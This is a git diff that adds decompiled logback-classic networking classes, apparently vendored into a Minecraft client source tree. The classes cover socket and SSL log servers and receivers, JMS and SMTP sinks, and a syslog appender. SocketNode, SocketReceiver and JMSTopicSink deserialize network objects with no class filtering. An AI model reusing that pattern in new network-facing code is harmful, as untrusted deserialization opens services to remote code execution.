+        System.out.println("Exiting. Kill the application if it does not exit due to daemon threads.");
+        
+        return;
+      }
+    }
+  }
+  
+  public JMSTopicSink(String tcfBindingName, String topicBindingName, String username, String password)
+  {
+    try
+    {
+      Properties env = new Properties();
+      env.put("java.naming.factory.initial", "org.apache.activemq.jndi.ActiveMQInitialContextFactory");
+      env.put("java.naming.provider.url", "tcp://localhost:61616");
+      Context ctx = new InitialContext(env);
+      
+      TopicConnectionFactory topicConnectionFactory = (TopicConnectionFactory)lookup(ctx, tcfBindingName);
+      
+      System.out.println("Topic Cnx Factory found");
+      Topic topic = (Topic)ctx.lookup(topicBindingName);
+      System.out.println("Topic found: " + topic.getTopicName());
+      
+      TopicConnection topicConnection = topicConnectionFactory.createTopicConnection(username, password);
+      
+      System.out.println("Topic Connection created");
+      
+      TopicSession topicSession = topicConnection.createTopicSession(false, 1);
+      
+
+      TopicSubscriber topicSubscriber = topicSession.createSubscriber(topic);
+      
+      topicSubscriber.setMessageListener(this);
+      
+      topicConnection.start();
+      System.out.println("Topic Connection started");
+    }
+    catch (Exception e) {
+      logger.error("Could not read JMS message.", e);
+    }
+  }
+  
+  public void onMessage(Message message)
+  {
+    try {
+      if ((message instanceof ObjectMessage)) {
+        ObjectMessage objectMessage = (ObjectMessage)message;
+        ILoggingEvent event = (ILoggingEvent)objectMessage.getObject();
+        Logger log = (Logger)LoggerFactory.getLogger(event.getLoggerName());
+        log.callAppenders(event);
+      } else {
+        logger.warn("Received message is of type " + message.getJMSType() + ", was expecting ObjectMessage.");
+      }
+    }
+    catch (JMSException jmse) {
+      logger.error("Exception thrown while processing incoming message.", jmse);
+    }
+  }
+  
+  protected Object lookup(Context ctx, String name) throws NamingException
+  {
+    try {
+      return ctx.lookup(name);
+    } catch (NameNotFoundException e) {
+      logger.error("Could not find name [" + name + "].");
+      throw e;
+    }
+  }
+  
+  static void usage(String msg) {
+    System.err.println(msg);
+    System.err.println("Usage: java " + JMSTopicSink.class.getName() + " TopicConnectionFactoryBindingName TopicBindingName Username Password");
+    
+
+
+    System.exit(1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/LoggingEventPreSerializationTransformer.java b/src/minecraft/ch/qos/logback/classic/net/LoggingEventPreSerializationTransformer.java
new file mode 100644
index 0000000..85a14af
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/LoggingEventPreSerializationTransformer.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggingEvent;
+import ch.qos.logback.classic.spi.LoggingEventVO;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggingEventPreSerializationTransformer
+  implements PreSerializationTransformer<ILoggingEvent>
+{
+  public LoggingEventPreSerializationTransformer() {}
+  
+  public Serializable transform(ILoggingEvent event)
+  {
+    if (event == null) {
+      return null;
+    }
+    if ((event instanceof LoggingEvent))
+      return LoggingEventVO.build(event);
+    if ((event instanceof LoggingEventVO)) {
+      return (LoggingEventVO)event;
+    }
+    throw new IllegalArgumentException("Unsupported type " + event.getClass().getName());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/ReceiverBase.java b/src/minecraft/ch/qos/logback/classic/net/ReceiverBase.java
new file mode 100644
index 0000000..55fd888
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/ReceiverBase.java
@@ -0,0 +1,70 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import java.util.concurrent.ExecutorService;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ReceiverBase
+  extends ContextAwareBase
+  implements LifeCycle
+{
+  private boolean started;
+  
+  public ReceiverBase() {}
+  
+  public final void start()
+  {
+    if (isStarted()) return;
+    if (getContext() == null) {
+      throw new IllegalStateException("context not set");
+    }
+    if (shouldStart()) {
+      getContext().getExecutorService().execute(getRunnableTask());
+      started = true;
+    }
+  }
+  
+
+
+  public final void stop()
+  {
+    if (!isStarted()) return;
+    try {
+      onStop();
+    }
+    catch (RuntimeException ex) {
+      addError("on stop: " + ex, ex);
+    }
+    started = false;
+  }
+  
+
+
+  public final boolean isStarted()
+  {
+    return started;
+  }
+  
+  protected abstract boolean shouldStart();
+  
+  protected abstract void onStop();
+  
+  protected abstract Runnable getRunnableTask();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SMTPAppender.java b/src/minecraft/ch/qos/logback/classic/net/SMTPAppender.java
new file mode 100644
index 0000000..ab535dc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SMTPAppender.java
@@ -0,0 +1,135 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.ClassicConstants;
+import ch.qos.logback.classic.PatternLayout;
+import ch.qos.logback.classic.boolex.OnErrorEvaluator;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.Layout;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.helpers.CyclicBuffer;
+import ch.qos.logback.core.net.SMTPAppenderBase;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SMTPAppender
+  extends SMTPAppenderBase<ILoggingEvent>
+{
+  static final String DEFAULT_SUBJECT_PATTERN = "%logger{20} - %m";
+  private int bufferSize = 512;
+  private boolean includeCallerData = false;
+  
+
+
+
+
+  public SMTPAppender() {}
+  
+
+
+
+
+  public void start()
+  {
+    if (eventEvaluator == null) {
+      OnErrorEvaluator onError = new OnErrorEvaluator();
+      onError.setContext(getContext());
+      onError.setName("onError");
+      onError.start();
+      eventEvaluator = onError;
+    }
+    super.start();
+  }
+  
+
+
+
+  public SMTPAppender(EventEvaluator<ILoggingEvent> eventEvaluator)
+  {
+    this.eventEvaluator = eventEvaluator;
+  }
+  
+
+
+
+  protected void subAppend(CyclicBuffer<ILoggingEvent> cb, ILoggingEvent event)
+  {
+    if (includeCallerData) {
+      event.getCallerData();
+    }
+    event.prepareForDeferredProcessing();
+    cb.add(event);
+  }
+  
+  protected void fillBuffer(CyclicBuffer<ILoggingEvent> cb, StringBuffer sbuf)
+  {
+    int len = cb.length();
+    for (int i = 0; i < len; i++) {
+      ILoggingEvent event = (ILoggingEvent)cb.get();
+      sbuf.append(layout.doLayout(event));
+    }
+  }
+  
+  protected boolean eventMarksEndOfLife(ILoggingEvent eventObject) {
+    Marker marker = eventObject.getMarker();
+    if (marker == null) {
+      return false;
+    }
+    return marker.contains(ClassicConstants.FINALIZE_SESSION_MARKER);
+  }
+  
+
+  protected Layout<ILoggingEvent> makeSubjectLayout(String subjectStr)
+  {
+    if (subjectStr == null) {
+      subjectStr = "%logger{20} - %m";
+    }
+    PatternLayout pl = new PatternLayout();
+    pl.setContext(getContext());
+    pl.setPattern(subjectStr);
+    
+
+
+    pl.setPostCompileProcessor(null);
+    pl.start();
+    return pl;
+  }
+  
+  protected PatternLayout makeNewToPatternLayout(String toPattern)
+  {
+    PatternLayout pl = new PatternLayout();
+    pl.setPattern(toPattern + "%nopex");
+    return pl;
+  }
+  
+  public boolean isIncludeCallerData() {
+    return includeCallerData;
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SSLSocketAppender.java b/src/minecraft/ch/qos/logback/classic/net/SSLSocketAppender.java
new file mode 100644
index 0000000..b15c15f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SSLSocketAppender.java
@@ -0,0 +1,54 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.AbstractSSLSocketAppender;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLSocketAppender
+  extends AbstractSSLSocketAppender<ILoggingEvent>
+{
+  private final PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  
+  private boolean includeCallerData;
+  
+
+  public SSLSocketAppender() {}
+  
+
+  protected void postProcessEvent(ILoggingEvent event)
+  {
+    if (includeCallerData) {
+      event.getCallerData();
+    }
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+  
+  public PreSerializationTransformer<ILoggingEvent> getPST() {
+    return pst;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SSLSocketReceiver.java b/src/minecraft/ch/qos/logback/classic/net/SSLSocketReceiver.java
new file mode 100644
index 0000000..f6093d1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SSLSocketReceiver.java
@@ -0,0 +1,83 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.core.net.ssl.ConfigurableSSLSocketFactory;
+import ch.qos.logback.core.net.ssl.SSLComponent;
+import ch.qos.logback.core.net.ssl.SSLConfiguration;
+import ch.qos.logback.core.net.ssl.SSLParametersConfiguration;
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLSocketReceiver
+  extends SocketReceiver
+  implements SSLComponent
+{
+  private SSLConfiguration ssl;
+  private SocketFactory socketFactory;
+  
+  public SSLSocketReceiver() {}
+  
+  protected SocketFactory getSocketFactory()
+  {
+    return socketFactory;
+  }
+  
+
+
+  protected boolean shouldStart()
+  {
+    try
+    {
+      SSLContext sslContext = getSsl().createContext(this);
+      SSLParametersConfiguration parameters = getSsl().getParameters();
+      parameters.setContext(getContext());
+      socketFactory = new ConfigurableSSLSocketFactory(parameters, sslContext.getSocketFactory());
+      
+      return super.shouldStart();
+    }
+    catch (Exception ex) {
+      addError(ex.getMessage(), ex); }
+    return false;
+  }
+  
+
+
+
+
+
+  public SSLConfiguration getSsl()
+  {
+    if (ssl == null) {
+      ssl = new SSLConfiguration();
+    }
+    return ssl;
+  }
+  
+
+
+
+  public void setSsl(SSLConfiguration ssl)
+  {
+    this.ssl = ssl;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SimpleSSLSocketServer.java b/src/minecraft/ch/qos/logback/classic/net/SimpleSSLSocketServer.java
new file mode 100644
index 0000000..79d2369
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SimpleSSLSocketServer.java
@@ -0,0 +1,100 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.net.ssl.ConfigurableSSLServerSocketFactory;
+import ch.qos.logback.core.net.ssl.SSLParametersConfiguration;
+import java.security.NoSuchAlgorithmException;
+import javax.net.ServerSocketFactory;
+import javax.net.ssl.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleSSLSocketServer
+  extends SimpleSocketServer
+{
+  private final ServerSocketFactory socketFactory;
+  
+  public static void main(String[] argv)
+    throws Exception
+  {
+    doMain(SimpleSSLSocketServer.class, argv);
+  }
+  
+
+
+
+
+
+
+  public SimpleSSLSocketServer(LoggerContext lc, int port)
+    throws NoSuchAlgorithmException
+  {
+    this(lc, port, SSLContext.getDefault());
+  }
+  
+
+
+
+
+
+
+  public SimpleSSLSocketServer(LoggerContext lc, int port, SSLContext sslContext)
+  {
+    super(lc, port);
+    if (sslContext == null) {
+      throw new NullPointerException("SSL context required");
+    }
+    SSLParametersConfiguration parameters = new SSLParametersConfiguration();
+    
+    parameters.setContext(lc);
+    socketFactory = new ConfigurableSSLServerSocketFactory(parameters, sslContext.getServerSocketFactory());
+  }
+  
+
+  protected ServerSocketFactory getServerSocketFactory()
+  {
+    return socketFactory;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SimpleSocketServer.java b/src/minecraft/ch/qos/logback/classic/net/SimpleSocketServer.java
new file mode 100644
index 0000000..df5c2b8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SimpleSocketServer.java
@@ -0,0 +1,239 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import ch.qos.logback.core.joran.spi.JoranException;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import javax.net.ServerSocketFactory;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleSocketServer
+  extends Thread
+{
+  Logger logger = LoggerFactory.getLogger(SimpleSocketServer.class);
+  
+  private final int port;
+  private final LoggerContext lc;
+  private boolean closed = false;
+  private ServerSocket serverSocket;
+  private List<SocketNode> socketNodeList = new ArrayList();
+  private CountDownLatch latch;
+  
+  public static void main(String[] argv)
+    throws Exception
+  {
+    doMain(SimpleSocketServer.class, argv);
+  }
+  
+  protected static void doMain(Class<? extends SimpleSocketServer> serverClass, String[] argv) throws Exception
+  {
+    int port = -1;
+    if (argv.length == 2) {
+      port = parsePortNumber(argv[0]);
+    } else {
+      usage("Wrong number of arguments.");
+    }
+    
+    String configFile = argv[1];
+    LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory();
+    configureLC(lc, configFile);
+    
+    SimpleSocketServer sss = new SimpleSocketServer(lc, port);
+    sss.start();
+  }
+  
+  public SimpleSocketServer(LoggerContext lc, int port) {
+    this.lc = lc;
+    this.port = port;
+  }
+  
+
+  public void run()
+  {
+    String oldThreadName = Thread.currentThread().getName();
+    
+    try
+    {
+      String newThreadName = getServerThreadName();
+      Thread.currentThread().setName(newThreadName);
+      
+      logger.info("Listening on port " + port);
+      serverSocket = getServerSocketFactory().createServerSocket(port);
+      while (!closed) {
+        logger.info("Waiting to accept a new client.");
+        signalAlmostReadiness();
+        Socket socket = serverSocket.accept();
+        logger.info("Connected to client at " + socket.getInetAddress());
+        logger.info("Starting new socket node.");
+        SocketNode newSocketNode = new SocketNode(this, socket, lc);
+        synchronized (socketNodeList) {
+          socketNodeList.add(newSocketNode);
+        }
+        String clientThreadName = getClientThreadName(socket);
+        new Thread(newSocketNode, clientThreadName).start();
+      }
+    } catch (Exception e) {
+      if (closed) {
+        logger.info("Exception in run method for a closed server. This is normal.");
+      } else {
+        logger.error("Unexpected failure in run method", e);
+      }
+    }
+    finally
+    {
+      Thread.currentThread().setName(oldThreadName);
+    }
+  }
+  
+
+
+  protected String getServerThreadName()
+  {
+    return String.format("Logback %s (port %d)", new Object[] { getClass().getSimpleName(), Integer.valueOf(port) });
+  }
+  
+
+
+  protected String getClientThreadName(Socket socket)
+  {
+    return String.format("Logback SocketNode (client: %s)", new Object[] { socket.getRemoteSocketAddress() });
+  }
+  
+
+
+
+
+  protected ServerSocketFactory getServerSocketFactory()
+  {
+    return ServerSocketFactory.getDefault();
+  }
+  
+
+
+
+  void signalAlmostReadiness()
+  {
+    if ((latch != null) && (latch.getCount() != 0L))
+    {
+      latch.countDown();
+    }
+  }
+  
+
+
+
+  void setLatch(CountDownLatch latch)
+  {
+    this.latch = latch;
+  }
+  
+
+  public CountDownLatch getLatch()
+  {
+    return latch;
+  }
+  
+  public boolean isClosed() { return closed; }
+  
+  public void close()
+  {
+    closed = true;
+    if (serverSocket != null) {
+      try {
+        serverSocket.close();
+      } catch (IOException e) {
+        logger.error("Failed to close serverSocket", e);
+      } finally {
+        serverSocket = null;
+      }
+    }
+    
+    logger.info("closing this server");
+    synchronized (socketNodeList) {
+      for (SocketNode sn : socketNodeList) {
+        sn.close();
+      }
+    }
+    if (socketNodeList.size() != 0) {
+      logger.warn("Was expecting a 0-sized socketNodeList after server shutdown");
+    }
+  }
+  
+  public void socketNodeClosing(SocketNode sn)
+  {
+    logger.debug("Removing {}", sn);
+    
+
+
+
+    synchronized (socketNodeList) {
+      socketNodeList.remove(sn);
+    }
+  }
+  
+  static void usage(String msg) {
+    System.err.println(msg);
+    System.err.println("Usage: java " + SimpleSocketServer.class.getName() + " port configFile");
+    
+    System.exit(1);
+  }
+  
+  static int parsePortNumber(String portStr) {
+    try {
+      return Integer.parseInt(portStr);
+    } catch (NumberFormatException e) {
+      e.printStackTrace();
+      usage("Could not interpret port number [" + portStr + "].");
+    }
+    return -1;
+  }
+  
+  public static void configureLC(LoggerContext lc, String configFile)
+    throws JoranException
+  {
+    JoranConfigurator configurator = new JoranConfigurator();
+    lc.reset();
+    configurator.setContext(lc);
+    configurator.doConfigure(configFile);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SocketAcceptor.java b/src/minecraft/ch/qos/logback/classic/net/SocketAcceptor.java
new file mode 100644
index 0000000..2dc74c4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SocketAcceptor.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.classic.net;
+
+class SocketAcceptor
+  extends Thread
+{
+  SocketAcceptor() {}
+  
+  public void run() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SocketAppender.java b/src/minecraft/ch/qos/logback/classic/net/SocketAppender.java
new file mode 100644
index 0000000..7c21a3e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SocketAppender.java
@@ -0,0 +1,59 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.net.AbstractSocketAppender;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocketAppender
+  extends AbstractSocketAppender<ILoggingEvent>
+{
+  private static final PreSerializationTransformer<ILoggingEvent> pst = new LoggingEventPreSerializationTransformer();
+  
+
+  private boolean includeCallerData = false;
+  
+
+  public SocketAppender() {}
+  
+
+  protected void postProcessEvent(ILoggingEvent event)
+  {
+    if (includeCallerData) {
+      event.getCallerData();
+    }
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+  
+  public PreSerializationTransformer<ILoggingEvent> getPST() {
+    return pst;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SocketNode.java b/src/minecraft/ch/qos/logback/classic/net/SocketNode.java
new file mode 100644
index 0000000..0aba17d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SocketNode.java
@@ -0,0 +1,129 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import java.io.BufferedInputStream;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.net.SocketException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocketNode
+  implements Runnable
+{
+  Socket socket;
+  LoggerContext context;
+  ObjectInputStream ois;
+  SocketAddress remoteSocketAddress;
+  Logger logger;
+  boolean closed = false;
+  SimpleSocketServer socketServer;
+  
+  public SocketNode(SimpleSocketServer socketServer, Socket socket, LoggerContext context) {
+    this.socketServer = socketServer;
+    this.socket = socket;
+    remoteSocketAddress = socket.getRemoteSocketAddress();
+    this.context = context;
+    logger = context.getLogger(SocketNode.class);
+  }
+  
+
+
+
+
+
+  public void run()
+  {
+    try
+    {
+      ois = new ObjectInputStream(new BufferedInputStream(socket.getInputStream()));
+    }
+    catch (Exception e) {
+      logger.error("Could not open ObjectInputStream to " + socket, e);
+      closed = true;
+    }
+    
+
+
+    try
+    {
+      while (!closed)
+      {
+        ILoggingEvent event = (ILoggingEvent)ois.readObject();
+        
+
+        Logger remoteLogger = context.getLogger(event.getLoggerName());
+        
+        if (remoteLogger.isEnabledFor(event.getLevel()))
+        {
+          remoteLogger.callAppenders(event);
+        }
+      }
+    } catch (EOFException e) {
+      logger.info("Caught java.io.EOFException closing connection.");
+    } catch (SocketException e) {
+      logger.info("Caught java.net.SocketException closing connection.");
+    } catch (IOException e) {
+      logger.info("Caught java.io.IOException: " + e);
+      logger.info("Closing connection.");
+    } catch (Exception e) {
+      logger.error("Unexpected exception. Closing connection.", e);
+    }
+    
+    socketServer.socketNodeClosing(this);
+    close();
+  }
+  
+  void close() {
+    if (closed) {
+      return;
+    }
+    closed = true;
+    if (ois != null) {
+      try {
+        ois.close();
+      } catch (IOException e) {
+        logger.warn("Could not close connection.", e);
+      } finally {
+        ois = null;
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    return getClass().getName() + remoteSocketAddress.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SocketReceiver.java b/src/minecraft/ch/qos/logback/classic/net/SocketReceiver.java
new file mode 100644
index 0000000..a56b023
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SocketReceiver.java
@@ -0,0 +1,224 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.net.DefaultSocketConnector;
+import ch.qos.logback.core.net.SocketConnector;
+import ch.qos.logback.core.net.SocketConnector.ExceptionHandler;
+import ch.qos.logback.core.util.CloseUtil;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.net.ConnectException;
+import java.net.InetAddress;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+import java.util.concurrent.RejectedExecutionException;
+import javax.net.SocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocketReceiver
+  extends ReceiverBase
+  implements Runnable, SocketConnector.ExceptionHandler
+{
+  private static final int DEFAULT_ACCEPT_CONNECTION_DELAY = 5000;
+  private String remoteHost;
+  private InetAddress address;
+  private int port;
+  private int reconnectionDelay;
+  private int acceptConnectionTimeout = 5000;
+  
+  private String receiverId;
+  private volatile Socket socket;
+  private Future<Socket> connectorTask;
+  
+  public SocketReceiver() {}
+  
+  protected boolean shouldStart()
+  {
+    int errorCount = 0;
+    if (port == 0) {
+      errorCount++;
+      addError("No port was configured for receiver. For more information, please visit http://logback.qos.ch/codes.html#receiver_no_port");
+    }
+    
+
+    if (remoteHost == null) {
+      errorCount++;
+      addError("No host name or address was configured for receiver. For more information, please visit http://logback.qos.ch/codes.html#receiver_no_host");
+    }
+    
+
+    if (reconnectionDelay == 0) {
+      reconnectionDelay = 30000;
+    }
+    
+    if (errorCount == 0) {
+      try {
+        address = InetAddress.getByName(remoteHost);
+      } catch (UnknownHostException ex) {
+        addError("unknown host: " + remoteHost);
+        errorCount++;
+      }
+    }
+    
+    if (errorCount == 0) {
+      receiverId = ("receiver " + remoteHost + ":" + port + ": ");
+    }
+    
+    return errorCount == 0;
+  }
+  
+
+
+  protected void onStop()
+  {
+    if (socket != null) {
+      CloseUtil.closeQuietly(socket);
+    }
+  }
+  
+  protected Runnable getRunnableTask()
+  {
+    return this;
+  }
+  
+
+  public void run()
+  {
+    try
+    {
+      LoggerContext lc = (LoggerContext)getContext();
+      while (!Thread.currentThread().isInterrupted()) {
+        SocketConnector connector = createConnector(address, port, 0, reconnectionDelay);
+        
+        connectorTask = activateConnector(connector);
+        if (connectorTask == null)
+          break;
+        socket = waitForConnectorToReturnASocket();
+        if (socket == null)
+          break;
+        dispatchEvents(lc);
+      }
+    }
+    catch (InterruptedException ex) {}
+    
+    addInfo("shutting down");
+  }
+  
+  private SocketConnector createConnector(InetAddress address, int port, int initialDelay, int retryDelay)
+  {
+    SocketConnector connector = newConnector(address, port, initialDelay, retryDelay);
+    
+    connector.setExceptionHandler(this);
+    connector.setSocketFactory(getSocketFactory());
+    return connector;
+  }
+  
+  private Future<Socket> activateConnector(SocketConnector connector)
+  {
+    try {
+      return getContext().getExecutorService().submit(connector);
+    } catch (RejectedExecutionException ex) {}
+    return null;
+  }
+  
+  private Socket waitForConnectorToReturnASocket() throws InterruptedException
+  {
+    try {
+      Socket s = (Socket)connectorTask.get();
+      connectorTask = null;
+      return s;
+    } catch (ExecutionException e) {}
+    return null;
+  }
+  
+  private void dispatchEvents(LoggerContext lc)
+  {
+    try {
+      socket.setSoTimeout(acceptConnectionTimeout);
+      ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
+      socket.setSoTimeout(0);
+      addInfo(receiverId + "connection established");
+      for (;;) {
+        ILoggingEvent event = (ILoggingEvent)ois.readObject();
+        Logger remoteLogger = lc.getLogger(event.getLoggerName());
+        if (remoteLogger.isEnabledFor(event.getLevel())) {
+          remoteLogger.callAppenders(event);
+        }
+      }
+    } catch (EOFException ex) {
+      addInfo(receiverId + "end-of-stream detected");
+    } catch (IOException ex) {
+      addInfo(receiverId + "connection failed: " + ex);
+    } catch (ClassNotFoundException ex) {
+      addInfo(receiverId + "unknown event class: " + ex);
+    } finally {
+      CloseUtil.closeQuietly(socket);
+      socket = null;
+      addInfo(receiverId + "connection closed");
+    }
+  }
+  
+
+
+  public void connectionFailed(SocketConnector connector, Exception ex)
+  {
+    if ((ex instanceof InterruptedException)) {
+      addInfo("connector interrupted");
+    } else if ((ex instanceof ConnectException)) {
+      addInfo(receiverId + "connection refused");
+    } else {
+      addInfo(receiverId + ex);
+    }
+  }
+  
+
+  protected SocketConnector newConnector(InetAddress address, int port, int initialDelay, int retryDelay)
+  {
+    return new DefaultSocketConnector(address, port, initialDelay, retryDelay);
+  }
+  
+  protected SocketFactory getSocketFactory() {
+    return SocketFactory.getDefault();
+  }
+  
+  public void setRemoteHost(String remoteHost) {
+    this.remoteHost = remoteHost;
+  }
+  
+  public void setPort(int port) {
+    this.port = port;
+  }
+  
+  public void setReconnectionDelay(int reconnectionDelay) {
+    this.reconnectionDelay = reconnectionDelay;
+  }
+  
+  public void setAcceptConnectionTimeout(int acceptConnectionTimeout) {
+    this.acceptConnectionTimeout = acceptConnectionTimeout;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/net/SyslogAppender.java b/src/minecraft/ch/qos/logback/classic/net/SyslogAppender.java
new file mode 100644
index 0000000..d651b56
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/net/SyslogAppender.java
@@ -0,0 +1,183 @@
+package ch.qos.logback.classic.net;
+
+import ch.qos.logback.classic.PatternLayout;
+import ch.qos.logback.classic.pattern.SyslogStartConverter;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.classic.util.LevelToSyslogSeverity;
+import ch.qos.logback.core.Layout;
+import ch.qos.logback.core.net.SyslogAppenderBase;
+import ch.qos.logback.core.net.SyslogOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.SocketException;
+import java.net.UnknownHostException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SyslogAppender
+  extends SyslogAppenderBase<ILoggingEvent>
+{
+  public static final String DEFAULT_SUFFIX_PATTERN = "[%thread] %logger %msg";
+  public static final String DEFAULT_STACKTRACE_PATTERN = "\t";
+  PatternLayout stackTraceLayout = new PatternLayout();
+  String stackTracePattern = "\t";
+  
+  boolean throwableExcluded = false;
+  
+  public SyslogAppender() {}
+  
+  public void start() { super.start();
+    setupStackTraceLayout();
+  }
+  
+  String getPrefixPattern() {
+    return "%syslogStart{" + getFacility() + "}%nopex{}";
+  }
+  
+  public SyslogOutputStream createOutputStream() throws SocketException, UnknownHostException
+  {
+    return new SyslogOutputStream(getSyslogHost(), getPort());
+  }
+  
+
+
+
+
+
+
+  public int getSeverityForEvent(Object eventObject)
+  {
+    ILoggingEvent event = (ILoggingEvent)eventObject;
+    return LevelToSyslogSeverity.convert(event);
+  }
+  
+  protected void postProcess(Object eventObject, OutputStream sw)
+  {
+    if (throwableExcluded) {
+      return;
+    }
+    ILoggingEvent event = (ILoggingEvent)eventObject;
+    IThrowableProxy tp = event.getThrowableProxy();
+    
+    if (tp == null) {
+      return;
+    }
+    String stackTracePrefix = stackTraceLayout.doLayout(event);
+    boolean isRootException = true;
+    while (tp != null) {
+      StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+      try {
+        handleThrowableFirstLine(sw, tp, stackTracePrefix, isRootException);
+        isRootException = false;
+        for (StackTraceElementProxy step : stepArray) {
+          StringBuilder sb = new StringBuilder();
+          sb.append(stackTracePrefix).append(step);
+          sw.write(sb.toString().getBytes());
+          sw.flush();
+        }
+      } catch (IOException e) {
+        break;
+      }
+      tp = tp.getCause();
+    }
+  }
+  
+  private void handleThrowableFirstLine(OutputStream sw, IThrowableProxy tp, String stackTracePrefix, boolean isRootException) throws IOException
+  {
+    StringBuilder sb = new StringBuilder().append(stackTracePrefix);
+    
+    if (!isRootException) {
+      sb.append("Caused by: ");
+    }
+    sb.append(tp.getClassName()).append(": ").append(tp.getMessage());
+    sw.write(sb.toString().getBytes());
+    sw.flush();
+  }
+  
